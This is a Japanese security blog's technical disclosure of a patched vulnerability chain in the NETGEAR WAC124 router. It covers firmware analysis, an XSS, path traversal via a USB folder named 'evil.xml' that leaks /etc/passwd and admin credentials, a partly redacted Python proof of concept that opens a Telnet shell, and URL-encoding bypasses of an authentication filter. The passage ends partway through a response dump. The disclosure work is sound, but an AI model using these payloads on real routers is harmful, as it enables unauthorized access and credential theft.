Flatt Security Blog

株式会社Flatt Securityの公式ブログです。プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

株式会社Flatt Securityの公式ブログです。
プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

NETGEAR社製ルーターにおける認証不要の任意コード実行の技術的解説(PSV-2022-0044)

※本記事は先立って公開された英語版記事を翻訳し、日本語圏の読者向けに一部改変したものです。

画像出典: https://www.netgear.com/business/wifi/access-points/wac124/

はじめに

こんにちは、株式会社Flatt Securityのstypr(@stereotype32)です。

一昨年、日本のOSS製品で発見された0day脆弱性に関する技術解説をブログに書きました。

それ以来、私は様々な製品に多くの脆弱性を発見してきました。残念ながら私が見つけたバグのほとんどはすぐに修正されなかったので、今日まで私が見つけた、技術的に興味深い脆弱性の情報を共有する機会がありませんでした。

本記事では、NETGEAR社のWAC124(AC2000)ルーターにおいて、様々な脆弱性を発見し、いくつかの脆弱性を連鎖させて、前提条件なしに未認証ユーザーの立場からコマンドを実行する方法について説明します。

私は1週間ほどかけてこれらのバグをすべて見つけ出し、前提条件を必要とするバグと前提条件を必要としないバグの2種類の悪用に連鎖させました。

残念ながらNETGEAR社は「Nighthawk」と「Orbi」のルーターにしか報奨金を出さないので、私は報奨金を受け取れませんでした。しかしペネトレーションテストやセキュリティ診断ではない形でこのルーターを検証するのは初めてのことであり、とても知的好奇心を満たしてくれるものでした。 近いうちに他の種類のルーターの脆弱性をもっと深掘りするつもりです。NETGEAR社のチームには、とても親切で迅速なサポートをいただき、感謝しています。

また、株式会社Flatt Securityではお客様のプロダクトに脆弱性がないか専門のセキュリティエンジニアが調査するセキュリティ診断サービスを提供しています。料金に関する資料を配布中ですので、ご興味のある方は是非ご覧ください。

免責事項

本稿の内容はセキュリティに関する知見を広く共有する目的で執筆されており、脆弱性の悪用などの攻撃行為を推奨するものではありません。許可なくプロダクトに攻撃を加えると犯罪になる可能性があります。当社が記載する情報を参照・模倣して行われた行為に関して当社は一切責任を負いません。

解析の前に

組み込み機器の解析を始める前に、機器からどのようなコンポーネントが利用できるのか、ルーターがどのようにファームウェアを保存しているのかも確認する必要があります。これによって隠れた重要な要素を見逃すことなく、効率的に検証を進めることができます。

ルーターの仕様

ハードウェアの仕様を読んでいると、CPUがMIPSアーキテクチャで作られていることに気がつきます。MIPS系バイナリのデコンパイルでは、Ghidraがそこそこの性能と品質を発揮するようなので、今回はGhidra(https://ghidra-sre.org/)を使用しました。

さらに、ルーターにはメディア共有用のUSBポートがあり、後ほど脆弱性を突く際に利用します。

以下がWAC124の仕様です。

Type Value
CPU MediaTek MT7621AT @880MHz MIPS
Memory 128MB (SDRAM) DDR3L
Storage 128MB SLC NAND Flash
Wi-Fi MediaTek MT7615N (802.11an+ac) / MediaTek MT7603EN (802.11bgn)
Network 5x Gigabit Ethernet ports
USB 1x USB 2.0 ports
Power 12V 1.5A via barrel

ファームウェアのダンプ

ルーター/IoTデバイスの中には、ルーターからファームウェアをダンプするためにハードウェアの基礎知識が必要なものや、デバッグ/デバイスターミナルにアクセスするためにシリアル(UART)ポートを介してアクセスする必要があるものもありますので、注意が必要です。

幸いなことに、NETGEARのファームウェアは基本的に公式サイトから入手可能なので、ファームウェアの機種を検索し、適切なファームウェアをダウンロードする必要があります。本記事を書いている時点でのWAC124の最新(脆弱性あり)バージョンはV1.0.4.6です。V1.0.4.7で正式にバグフィックスされました。

ファームウェアをダウンロードした後、展開するのは非常に簡単です。

binwalk (https://github.com/ReFirmLabs/binwalk) と squashfs-tools をダウンロードしてインストールし、ファームウェアを解凍してください。 下図のように、binwalk を使用することで、ファームウェアのファイルシステムを簡単に展開することが可能です。

以下が binwalk の出力です。

# binwalk -e ./WAC124.bin 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             uImage header, header size: 64 bytes, header CRC: 0x8C713BD5, created: 2018-08-22 18:51:44, image size: 139968 bytes, Data Address: 0xA0200000, Entry Point: 0xA0200000, data CRC: 0xFDC782B2, OS: Linux, CPU: MIPS, image type: Standalone Program, compression type: none, image name: "NAND Flash I"
113984        0x1BD40         U-Boot version string, "U-Boot 1.1.3 (Aug 22 2018 - 14:51:38)"
262074        0x3FFBA         Sercomm firmware signature, version control: 256, download control: 0, hardware ID: "CTL", hardware version: 0x4100, firmware version: 0x6, starting code segment: 0x0, code size: 0x7300
2097152       0x200000        uImage header, header size: 64 bytes, header CRC: 0x3F03E59E, created: 2020-03-20 08:48:54, image size: 3710717 bytes, Data Address: 0x80801000, Entry Point: 0x8080D1D0, data CRC: 0x288B4EF5, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux Kernel Image"
2097216       0x200040        LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 9493440 bytes
6291456       0x600000        Squashfs filesystem, little endian, version 4.0, compression:xz, size: 20009095 bytes, 2238 inodes, blocksize: 131072 bytes, created: 2020-03-20 08:48:44
48234496      0x2E00000       Sercomm firmware signature, version control: 256, download control: 0, hardware ID: "CTL", hardware version: 0x4100, firmware version: 0x6, starting code segment: 0x0, code size: 0x7300
48234624      0x2E00080       Zip archive data, at least v2.0 to extract, compressed size: 27512, uncompressed size: 182956, name: ui.xml
48262193      0x2E06C31       Zip archive data, at least v2.0 to extract, compressed size: 13678, uncompressed size: 89652, name: msg.xml
48275929      0x2E0A1D9       Zip archive data, at least v2.0 to extract, compressed size: 43820, uncompressed size: 199506, name: hlp.js
48320002      0x2E14E02       End of Zip archive
50331648      0x3000000       Sercomm firmware signature, version control: 256, download control: 0, hardware ID: "CTL", hardware version: 0x4100, firmware version: 0x6, starting code segment: 0x0, code size: 0x7300
50331776      0x3000080       Zip archive data, at least v2.0 to extract, compressed size: 28579, uncompressed size: 172930, name: ui.xml
...

また、ルーターのディレクトリ構造は以下のようになります。

# cd _WAC124.bin.extracted/squashfs-root
# ls -al
total 156
drwxr-xr-x  13 root root  4096 Jun 21  2016 .
drwxr-xr-x 127 root root 69632 Sep  6 18:31 ..
lrwxrwxrwx   1 root root     9 Mar 20  2020 bin -> usr/sbin/
drwxrwxrwx   2 root root  4096 Aug 15  2015 data
drwxr-xr-x   2 root root  4096 Oct 19  2015 dev
lrwxrwxrwx   1 root root     8 Mar 20  2020 etc -> /tmp/etc
lrwxrwxrwx   1 root root    11 Mar 20  2020 etc_ro -> /tmp/etc_ro
drwxr-xr-x   2 root root  4096 Dec  2  2012 home
lrwxrwxrwx   1 root root    11 Mar 20  2020 init -> bin/busybox
drwxr-xr-x   5 root root 12288 Mar 20  2020 lib
drwxr-xr-x   2 root root  4096 Dec  2  2012 media
lrwxrwxrwx   1 root root     8 Mar 20  2020 mnt -> /tmp/mnt
drwxr-xr-x   6 root root  4096 Mar 20  2020 opt
drwxr-xr-x   2 root root  4096 Nov 13  2000 proc
lrwxrwxrwx   1 root root     9 Mar 20  2020 sbin -> usr/sbin/
drwxr-xr-x   2 root root  4096 Nov 17  2008 sys
drwxr-xr-x   2 root root  4096 Jul 29  2000 tmp
drwxr-xr-x  10 root root  4096 Jun 21  2016 usr
lrwxrwxrwx   1 root root     8 Mar 20  2020 var -> /tmp/var
lrwxrwxrwx   1 root root     8 Mar 20  2020 www -> /tmp/www
drwxr-xr-x   9 root root 32768 Mar 20  2020 www.eng

本記事に登場するファイル一覧

本記事で紹介するファイルの一覧は以下の通りです。

  • /bin/mini_httpd, mini_httpd : HTTP サーバデーモン
  • /bin/setup.cgi, setup.cgi : 設定を処理するためのCGI(ELFバイナリ)
  • /www.eng/ : httpdサーバーのルートディレクトリ
  • /etc/htpasswd : 管理者ページ認証用の暗号化されていない証明書の平文ファイル
    • フォーマットは username:password
    • このファイルはTelnet認証とWebコンソールログイン機能で使用されます。

1. 息抜き(XSSの発見)

一般に、組み込み機器の多くは、Webコンポーネントの入力を適切にサニタイズしていないため、クロスサイトスクリプティング(XSS)のような基本的な脆弱性を検証することは良いアイデアです。

このことを念頭に置いて、/www.eng/ にあるHTM/HTMLファイルの候補をいくつかチェックしてみたところ、usb_new_fld.htm@usb_opener_htm# という非常に興味深いテンプレート風のパラメータを発見したのです。 以下が usb_new_fld.htm の内容です。

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
...
<script>
...
function browseDisk()
{
   var cf = document.forms[0];
   dataToHidden(cf);
   cf.todo.value = "browse";
   cf.next_file.value = "usb_fld_tree.htm";
   return true;
}
 
function end()
{
   opener.location.href = "@usb_opener_htm#";
   self.close();
}
...
</script>

この仕組みについて深く調べてみることにしたのですが、アクセスされたファイルからテンプレートを解析する html_parser という関数があることがわかりました。

この関数を詳しく調べてはいないのですが、この関数は以下のような処理を行っていました。

  1. 要求されたファイルを読み込み、いくつかのファイル拡張子をチェックする(これについては後述します)
  2. @variable# を検索する
  3. テンプレート文字列を実際の値に置き換える

以下が setup.cgi に含まれる html_parser の内容となります。

int html_parser(char *filename,undefined4 param_2,char **param_3)
{
...
  fp = open(filename,0);
...
    read(fp,buf,0xffff);
    close(fp);
...
      tmp = strtok(buf,"@");
      while (tmp != (char *)0x0) {
        fputs(tmp,stdout);
        tmp = strtok((char *)0x0,"#");
        if (tmp != (char *)0x0) {
          memset(acStack131120,0,0xffff);
          ppcVar1 = param_3;
          do {
            while( true ) {
              ppcVar2 = ppcVar1;
              if (*ppcVar2 == (char *)0x0) goto LAB_00423e54;
              if (ppcVar2[1] != (char *)0x0) break;
              ppcVar1 = ppcVar2 + 6;
            }
            fp = strcmp(tmp,*ppcVar2);
            ppcVar1 = ppcVar2 + 6;
          } while (fp != 0);
...
LAB_00423e54:
          fputs(acStack131120,stdout);
        }
        tmp = strtok((char *)0x0,"@");
      }
      ret = 0;
    }
  }
  return ret;
}

また、他にも nvramusb_opener_htm を追加する関数などもあったようですが、1つのブログ記事にするには長くなり過ぎてしまうので今回は省略します。

しかし、一部の悪意のある入力はサーバーにブロックされているようでした。

FindForbidValueによって引き起こされる403 Forbidden。

そこで、setup.cgimain 関数を調べてみると、FindForbidValue という関数で、HTTPリクエストからの不正な入力がブロックされていることがわかりました。

以下が main 関数の内容です。

int main(undefined4 param_1,char **param_2)
{
  ...
  int iVar8; // parsed input ptrptr?
  ...
  if (iVar8 == 0) {
    iVar8 = cgi_input_parse(param_1,param_2);
  }
  iVar1 = FindForbidValue(iVar8);
  if (iVar1 != 0) {
    iVar8 = (**(code **)(local_30 + -0x7ab0))(0x4bd2e0,&DAT_004a673c);
    if (iVar8 != 0) {
      (**(code **)(local_30 + -0x7b74))(iVar8,"[%s::%s():%d] ","cgi_main.c","setup_main",0x17b);
      (**(code **)(local_30 + -0x7b40))("Invalid input value!\n",iVar8);
      (**(code **)(local_30 + -0x7a9c))(iVar8);
    }
    send_forbidden();
    return 0;
  }
  ...
}

FindForbidValue のデコンパイルされたコードを読んでいると、;, ||, `などの一部のパラメータはフィルターでブロックされていますが、XSSはきちんとブロックされていないようです。

これらのチェックが回避される限り、XSSは間違いなく機能します。

uint FindForbidValue(int **param_1)
 
{
  int iVar1;
  char **ppcVar2;
  char *__s1;
  undefined4 uVar3;
  char **ppcVar4;
  char *__s;
  char **ppcVar5;
  
  uVar3 = 0;
  if (((param_1 != (int **)0x0) && ((char **)*param_1 != (char **)0x0)) &&
     (ppcVar2 = (char **)*param_1, param_1[2] != (int *)0x0)) {
    do {
      do {
        ppcVar4 = (char **)ppcVar2[1];
        if (ppcVar4 == (char **)0x0) {
          __s = *(char **)(*ppcVar2 + 4);
          __s1 = strchr(__s,0x60);
          if (__s1 != (char *)0x0) {
            return 1;
          }
          __s1 = strstr(__s,"||");
          if (__s1 != (char *)0x0) {
            return 1;
          }
          __s1 = strchr(__s,0x3b);
          return (uint)(__s1 != (char *)0x0);
        }
        ppcVar5 = (char **)*ppcVar2;
        __s = ppcVar5[1];
        __s1 = strchr(__s);
        ppcVar2 = ppcVar4;
      } while (((__s1 == (char *)0x0) && (__s1 = strchr(__s,0x3b), __s1 == (char *)0x0)) &&
              (__s1 = strstr(__s,"||"), __s1 == (char *)0x0));
      __s1 = *ppcVar5;
      iVar1 = strcmp(__s1,"ssid");
    } while (((iVar1 == 0) || (iVar1 = strcmp(__s1,"ssid_an"), iVar1 == 0)) ||
            ((iVar1 = strcmp(__s1,"ssid_2g"), iVar1 == 0 ||
             (iVar1 = strcmp(__s1,"ssid_new24"), iVar1 == 0))));
    uVar3 = 1;
  }
  return uVar3;
}

何度か試行錯誤の結果、問題なく確実にXSSを動作させることができました。

XSS脆弱性をついたペイロード

XSSペイロードの結果

しかし、私の第一の目的は、未認証のユーザーの立場からシェルを起動させることでした。上記のXSSを動作させる画面にたどり着くには認証が必要ですし、XSSは基本的にシェルの起動には繋がらないため、目的を果たしたとは言えませんね。

そこで、他の利用できそうな機能についても真剣に検討することにしました。以降の話とは無関係なのですが、XSSを見つけることで静的解析を始める前に気持ちをリフレッシュすることができました。

2. 前提条件ありのRCE(リモートコード実行)

認証されていない任意のファイル読み込みの発見

手動での静的解析も行いつつ setup.cgi をテストしているときに、next_file パラメータからいくつかの奇妙な動作を発見しました。なお、このパラメータに対してはパストラバーサルを悪用可能なので、これ以降のコードで使用しています。

ユーザーがログインしていない場合、.htm, .html, .asp のファイルへのアクセスはログインページにリダイレクトされますが、.png, .xml やその他の画像拡張子のファイルへのアクセスは全くレスポンスを返しません。

以下のように拡張子が htm/html/asp のファイル名は、ログインページにリダイレクトされます。

$ curl -H "User-Agent: Mozilla/5.0" \ 
          'http://www.routerlogin.net/setup.cgi?next_file=../x.htm'
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html>
 
$ curl -H "User-Agent: Mozilla/5.0" \
          'http://www.routerlogin.net/setup.cgi?next_file=../x.html'
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html>
 
$ curl -H "User-Agent: Mozilla/5.0" \
          'http://www.routerlogin.net/setup.cgi?next_file=../x.asp'
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html>

一方、png/xml を含むファイル名では応答が帰って来ません。

$ curl -H "User-Agent: Mozilla/5.0" \
          'http://www.routerlogin.net/setup.cgi?next_file=../x.png'
curl: (52) Empty reply from server
 
$ curl -H "User-Agent: Mozilla/5.0" \ 
          'http://www.routerlogin.net/setup.cgi?next_file=../x.xml'
 
$ curl -H "User-Agent: Mozilla/5.0" \
          'http://www.routerlogin.net/setup.cgi?next_file=../x.jpg'
curl: (52) Empty reply from server

ここでは応答にいくつかの不規則性が見られました。なぜか、.xml は空のレスポンスを返さないのです。

そこで、パストラバーサルで既存のファイルを読み込むことにしたところ、既存の .xml ファイルは読み込めるが、next_file パラメータは既存の画像ファイルを読み込めないことが後で判明しました。

$ curl -H "User-Agent: Mozilla/5.0" \
          'http://www.routerlogin.net/setup.cgi?next_file=../usr/etc/simplecfgservice.xml'
<?xml version="1.0"?>
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
...
</scpd>
 
$ curl -H "User-Agent: Mozilla/5.0" \
          'http://www.routerlogin.net/setup.cgi?next_file=../../www.eng/image/sso/BG-Image.png'
curl: (52) Empty reply from server
 
$ curl -H "User-Agent: Mozilla/5.0" \
          'http://www.routerlogin.net/image/sso/BG-Image.png'
 
Warning: Binary output can mess up your terminal. Use "--output -" to tell 
Warning: curl to output it to your terminal anyway, or consider "--output 
Warning: <FILE>" to save to a file.

さて、この時点で理解すべきことは2つあります。

  1. .png.jpg ファイルは出力を返さないのに、なぜ xml ファイルでは出力されたのでしょうか?クラッシュしたのでしょうか?
  2. htm, asp, html ファイルがログインページを返したのはなぜですか?

テンプレートルーチンの解析

もう一度 setup.cgi を見てみると、関数 mainnext_file パラメータが渡されたときに必ず html_parser が呼ばれることに気がつきました。

int main(undefined4 param_1,char **param_2)
{
...
    pcVar1 = (char *)find_val(iVar8,"next_file");
    if (pcVar1 == (char *)0x0) {
      iVar8 = (**(code **)(puVar10 + -0x7ab0))("/dev/console",&fopen);
      if (iVar8 == 0) {
        return 0;
      }
      (**(code **)(puVar10 + -0x7b74))(iVar8,"[%s::%s():%d] ","cgi_main.c","setup_main",0x24a);
      (**(code **)(puVar10 + -0x7b40))("###next_file_injection_detected!###\n",iVar8);
      (**(code **)(puVar10 + -0x7a9c))(iVar8);
      return 0;
    }
...
LAB_00405d08:
  html_parser(pcVar1,iVar8,*(char ***)(puVar10 + -0x7fb8));
  return 0;
}

html_parser の関数を見返すと、next_file の値が .htm, .xml, .html のいずれを含むかをチェックしているように見えます(strstr でのチェックなので「その拡張子で終わるか」のチェックではないのがこの後ポイントになります)。

undefined4 html_parser(char *filename,undefined4 param_2,char **param_3)
{
  char **ppcVar1;
  int debug_fp;
  int fp;
  char *tmp;
  FILE *log_fp;
  undefined4 ret;
  char **ppcVar2;
  char acStack131120 [65536];
  char buf [65544];
  
...
  tmp = strstr(filename,".htm");
  if (((tmp == (char *)0x0) && (tmp = strstr(filename,".html"), tmp == (char *)0x0)) &&
     (tmp = strstr(filename,".xml"), tmp == (char *)0x0)) {
    return 0xffffffff;
  }
  fp = open(filename,0);
  if (fp < 0) {
    fprintf(stdout,"Can\'t open file %s",filename);
    ret = 0xffffffff;
  }
  else {
    read(fp,buf,0xffff);
    close(fp);
    tmp = strstr(filename,".xml");
    if (tmp == (char *)0x0) {
      tmp = "text/html";
    }
    else {
      tmp = "text/xml; charset=utf-8";
    }
    mime_header(tmp);
    if (*filename == 'h') {
      fputs(buf,stdout);
      ret = 0;
    }
...

しかし、最初の数回の試行でわかるように、asp, html, htm の拡張子では上記処理のようにファイルの内容自体ではなく、ログインページが返されるため、そもそもこの関数が呼び出されていないようです。

後で調べてみると、このような挙動はルーターのHTTPデーモンである mini_httpd が原因であることがわかりました。また、.png などの画像拡張子もこのデーモンの影響を受けていると推測されます。

この時点ですでに .xml 拡張子の処理が動作しているので、これ以上の調査はしないことにしました。

つまり、ファイル名に .xml を含む有効なファイルであれば、正しく開けることがわかります。では、次にどうすればよいのでしょうか。

システムシェルを起動するためのエクスプロイト

もう一度 html_parser 関数を見てみましょう。

  tmp = strstr(filename,".htm");
  if (((tmp == (char *)0x0) && (tmp = strstr(filename,".html"), tmp == (char *)0x0)) &&
     (tmp = strstr(filename,".xml"), tmp == (char *)0x0)) {
    return 0xffffffff;
  }
  fp = open(filename,0);

ファイル拡張子チェックのために strstr を実行します。つまり、与えられたファイル名の中にファイル拡張子があるかどうかを調べますが、パスがそれらのファイル拡張子のいずれかで終わっていなければならないということではありません。

これは、path/to/file/blah.xml/1234path/test.xml.asdf といったファイルパスがまだ有効とみなされることを意味します。

つまり、valid_folder.xml のような有効なフォルダを作成し、そのフォルダからパストラバーサルを行って任意のファイルを読み込むことができるようになったのです。

さて、残る問題は、名前に .xml が含まれる無効なフォルダーを作ることです。

この記事で前述したように、このルーターにはUSBポートがあります。そこで、USBメモリに evil.xml というフォルダを作成し、この悪意のあるドライブをルーターに挿入してみることにしました。

PS F:\> tree f v /F
F:\
└──evil.xml

次に、ルーターにマウントされたUSBドライブの正しい位置を確認します。マウントされたUSBドライブの場所の形式は、setup.cgi から見て、/mnt/shares/%c にあることがわかりました。

そんなことを考えながら、ドライブの名前をブルートフォースで調べてみると...。

$ curl -H "User-Agent: Mozilla/5.0" \
      'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/A/evil.xml/../../../../../etc/passwd'  
 
$ curl -H "User-Agent: Mozilla/5.0" \
      'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/B/evil.xml/../../../../../etc/passwd'  
 
$ curl -H "User-Agent: Mozilla/5.0" \
      'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/C/evil.xml/../../../../../etc/passwd'
 
...
 
$ curl -H "User-Agent: Mozilla/5.0" \
      'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/U/evil.xml/../../../../../etc/passwd'  
 
root::0:0:root:/:/bin/sh
nobody::0:0:Nobody:/:/sbin/sh

$ curl -H "User-Agent: Mozilla/5.0" \
'http://www.routerlogin.net/setup.cgi?next_file=../../mnt/shares/U/evil.xml/../../../../../etc/htpasswd'
 
admin:Test1234

ばっちり!見事に成功しました。これで、管理者の認証情報を手に入れることができました。

これからは、管理者としてログインし、デバッグページからTelnetを有効にして、シェルを起動すればいいのです。

前提条件ありのRCE PoC

さて、ここまでで発見された脆弱性を使用すると、USBドライブを利用することでRCEが可能となります。

ここでは、USBドライブの代わりにSMBサーバーが認証なしで開いている前提でのPoCを書いてみることにします。手順としてはUSBドライブ同様で、exploit.xmlのようなフォルダをアップロードして任意のファイル読み込みを実行すれば、管理者の認証情報を漏えいさせることができます。

インターネット上で悪用されるのを防ぐために、実際のコードからは幾分か削除してあります。しかし、このスニペットを使えるようにするのはそれほど難しくはないはずです。

def smb_upload_folder():
    """
    Upload xml file via SMB
    """
    anonymous_smb_and_upload("exploit.xml")
 
def perform_path_traversal():
    """
    Performs the path traversal attack in three steps
    1. Perform a path traversal to check if the bug works
    2. Do SMB bruteforce to leak /etc/passwd
        - 00492900 ... "/tmp/mnt/shares/%c/%s"
        - We just need to bruteforce from A ~ Z
    3. Leak remaining important files
    """
    found_char = None
 
    for _char in string.ascii_uppercase:
        payload = f"../mnt/shares/{_char}/exploit.xml/../../../../etc/passwd"
        result = try_path_traversal(payload)
 
        # check if /etc/passwd is leaked
        if "root::0:0:root:/:/bin/sh" in resp:
            print("[.] Successfully leaked /etc/passwd!")
            print(resp)
            found_char = guess_char
            break
 
    if not found_char:
        print("[!] Failed to exploit..")
        return False
 
    # Leak /etc/htpasswd
    payload = f"../mnt/shares/{found_char}/exploit.xml/../../../../etc/htpasswd"
    result = try_path_traversal(payload)
 
    print(f"[.] Successfully leaked /etc/htpasswd!")
    print(result)
    return result
 
def login(username, password):
    """
    Login with username and password
    """
    return session
 
def enable_debug_mode(session):
    """
    Access debug.htm to enable debug mode
    """
    return True
 
def trigger_shell(htpasswd):
    """
    Use the /etc/htpasswd to login as admin.
    After authentication, enable debug mode and get shell.
    """
    username, password = htpasswd.strip().split(":")
    admin_session = login(username, password)
    enable_debug_mode(admin_session)
    with Telnet('www.routerlogin.net', 23) as session:
        session.read_until(b"login: ")
        session.write(username.encode() + b"\n")
        session.write(password.encode() + b"\n")
        session.interact()
 
if __name__ == "__main__":
     smb_upload_folder()
     htpasswd = perform_path_traversal()
     if htpasswd:
        print("[.] Path Traversal Success! Let's get shell now..")
        trigger_shell(htpasswd)
     else:
         print("[-] Failed..")

さらなる深掘り

この攻撃の欠点は、この攻撃を実現するための前提条件があることです。

私の主目的は、無認証で前提条件なしにシェルを取得することだったので、mini_httpd など他のファイルも深く見てみることにしました。

3. 前提条件なしのRCE

認証バイパスの発見

先ほどの「任意のファイル読み込み」で見たように、拡張子によっては setup.cgi を通らないようなので、ルーターのHTTPデーモンモジュールである mini_httpd を深堀りしてみることにしました。

興味深いことに、この mini_httpd は、オリジナルのACMEのhttp://www.acme.com/software/mini_httpd/ プロジェクトをカスタマイズしたものであるようでした。

残念ながら、カスタマイズされたビルドは、オリジナルのビルドとややかけ離れているように思えたので、公式のソースコードを見るのはやめました。

mini_httpd を分解してしばらくコードを読んでいると、path_exist という関数に何種類かのチェックがあるようで、ちょっと面白いコードになっていました。

uint path_exist(char *requested_path,char **s_currentstring_html,char *haystack)
{
  char *needle;
  int iVar1;
  char *pcVar2;
  char bufPath [1024];
  char *tmp;
  
  ...
  needle = strstr(requested_path,".gif");
  if ((((needle == (char *)0x0) && (needle = strstr(requested_path,".css"), needle == (char *)0x0))
      && (needle = strstr(requested_path,".js"), needle == (char *)0x0)) &&
     (((needle = strstr(requested_path,".xml"), needle == (char *)0x0 &&
       (needle = strstr(requested_path,".png"), needle == (char *)0x0)) &&
      (needle = strstr(requested_path,".jpg"), needle == (char *)0x0)))) {
    return 0;
  }
  needle = strstr(requested_path,".htm");
  if (needle != (char *)0x0) {
    return 0;
  }
  needle = strstr(requested_path,"html");
  if (needle == (char *)0x0) {
    ...
    needle = strstr(requested_path,"todo=");
    if (needle != (char *)0x0) {
      return 0;
    }
    ...
    memset(bufPath,0,0x400);
    strncpy(bufPath,requested_path,0x3ff);
    iVar1 = strncmp(bufPath,"/setup.cgi?",0xb);
    if (iVar1 == 0) {
      needle = strstr(bufPath,"next_file=");
      if (needle == (char *)0x0) {
        return 1;
      }
      pcVar2 = strchr(needle,0x26);
      if (pcVar2 == (char *)0x0) {
        return 1;
      }
...
      *pcVar2 = '\0';
      pcVar2 = strstr(needle,".gif");
      if (pcVar2 != (char *)0x0) {
        return 1;
      }
...
      pcVar2 = strstr(needle,".js");
      if (pcVar2 != (char *)0x0) {
        return 1;
      }
      pcVar2 = strstr(needle,".png");
    }
    else {
...
      needle = strstr(bufPath,".xml");
      if (needle != (char *)0x0) {
        return 1;
      }
      pcVar2 = strstr(bufPath,".png");
      needle = bufPath;
    }
    if (pcVar2 != (char *)0x0) {
      return 1;
    }
    needle = strstr(needle,".jpg");
    return (uint)(needle != (char *)0x0);
  }
  return 0;
}

一見すると複雑すぎるように思えました。

しかし、この関数と関連するコードを読んでみると、これらのコードの要点は、認証されていないユーザーが特定の種類のファイル拡張子にしかアクセスできないようにすることだけでした。

この path_exist 関数が行う処理は基本的に以下の2つです。

  1. パスが .htm, .html, .asp などを含まないかどうかをチェックする
  2. パスに todo などの予期せぬ動作を引き起こす危険な文字が含まれていないかどうかをチェックする

一部のフィルタを回避する

このパラメータは、サーバーへの重要なリクエストを実行するために不可欠なので、最初に todo= フィルタをバイパスすることにしました。

まずは手持ちの既存ペイロードで試してみましょう。

$ curl -H 'User-Agent: Mozilla/5.0' \
          'http://192.168.0.100/setup.cgi?next_file=../../../../../usr/etc/simplecfgservice.xml'
<?xml version="1.0"?>
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
...
</scpd> 

では、パラメータの名前から e%65 に変更するとどうなるかを見てみましょう。

$ curl -H 'User-Agent: Mozilla/5.0' \
          'http://192.168.0.100/setup.cgi?next_fil%65=../../../../../usr/etc/simplecfgservice.xml'
<?xml version="1.0"?>
<scpd xmlns="urn:schemas-upnp-org:service-1-0">
...
</scpd> 

クエリ文字列がエンコードされている場合でも、完全に動作します。この場合、クエリ文字列全体が内部でデコードされていることがわかりました。

では、リクエストに todo= を追加してみましょう。

$ curl -H 'User-Agent: Mozilla/5.0' \
          'http://192.168.0.100/setup.cgi?todo=test&next_fil%65=../../../../../usr/etc/simplecfgservice.xml'
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv='Pragma' content='no-cache'><meta http-equiv='Cache-Control' content='no-cache'><title> NETGEAR Router WAC124</title><script language="javascript" type="text/javascript">function redirect(){top.location.href ="sso_loading.html";}</script></head><body onLoad=redirect()><form name="formname"></form></body></html>%

このように、サーバーは不正な request_path とみなし、ユーザーをログインページにリダイレクトしています。

todoパラメータの名前から d%64 に変更したらどうでしょう。

$ curl -H 'User-Agent: Mozilla/5.0' \
          'http://192.168.0.100/setup.cgi?to%64o=test&next_fil%65=../../../../../usr/etc/simplecfgservice.xml'
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<link rel="stylesheet" href="style/basic.css?v=1046">
<script language=javascript type=text/javascript src=funcs.js></script>
<script language=javascript type=text/javascript src="basic.js?v=1046"></script>
<script language=javascript type=text/javascript src=top.js></script>
<script language="javascript" type="text/javascript" src="string.js"></script>
<title>NETGEAR Router WAC124</title>
<meta http-equiv=content-type content='text/html; charset=UTF-8'>
<meta content="MSHTML 6.00.2800.1141" name="GENERATOR">
...
var guest="0";
var sso_error="0";
...
</script>
 
<body onload="loadvalue();" onResize="change_size();">
<form  onsubmit="return false">
  <div id="top">
    <iframe name="topframe" id="topframe" src="top.html" allowtransparency="true" scrolling="no" height="100%" width="100%" frameborder="0"></iframe>
  </div>
  <div id="container" class="container_center">
    <div id="middle">
      <div id="menu">
        <div id="home" class="basic_button_purple" onclick="click_action('home');"><b><span languageCode = "3059">Home</span></b></div>
        <div id="cloud" class="basic_button" style="display: none" onclick="click_action('cloud');"><b><span  languageCode="3715">NETGEAR Cloud - Cloud Sharing Center</span></b></div>
        <div id="internet" class="basic_button" onclick="click_action('internet');"><b><span languageCode = "70">Internet</span></b></div>
        <div id="wireless" class="basic_button" onclick="basic_menu_color_change('wireless');top.formframe.location.href='setup.cgi?next_file=WLG_dualband_idx.htm&todo=init_wireless_1';"><b><span languageCode = "552">Wireless</span></b></div>
        <div id="attached" class="basic_button" onclick="click_action('attached');"><b><span languageCode = "190">Attached Devices</span></b></div>
        <!--
   <div id="parental" class="basic_button" onclick="click_action('parental');"><b><span languageCode = "3112">Parental Controls</span></b></div>
-->
        <div id="readyshare" class="basic_button" style="display: none" onclick="click_action('readyshare');"><b><span languageCode = "3226">ReadySHARE</span></b></div>
        <!--
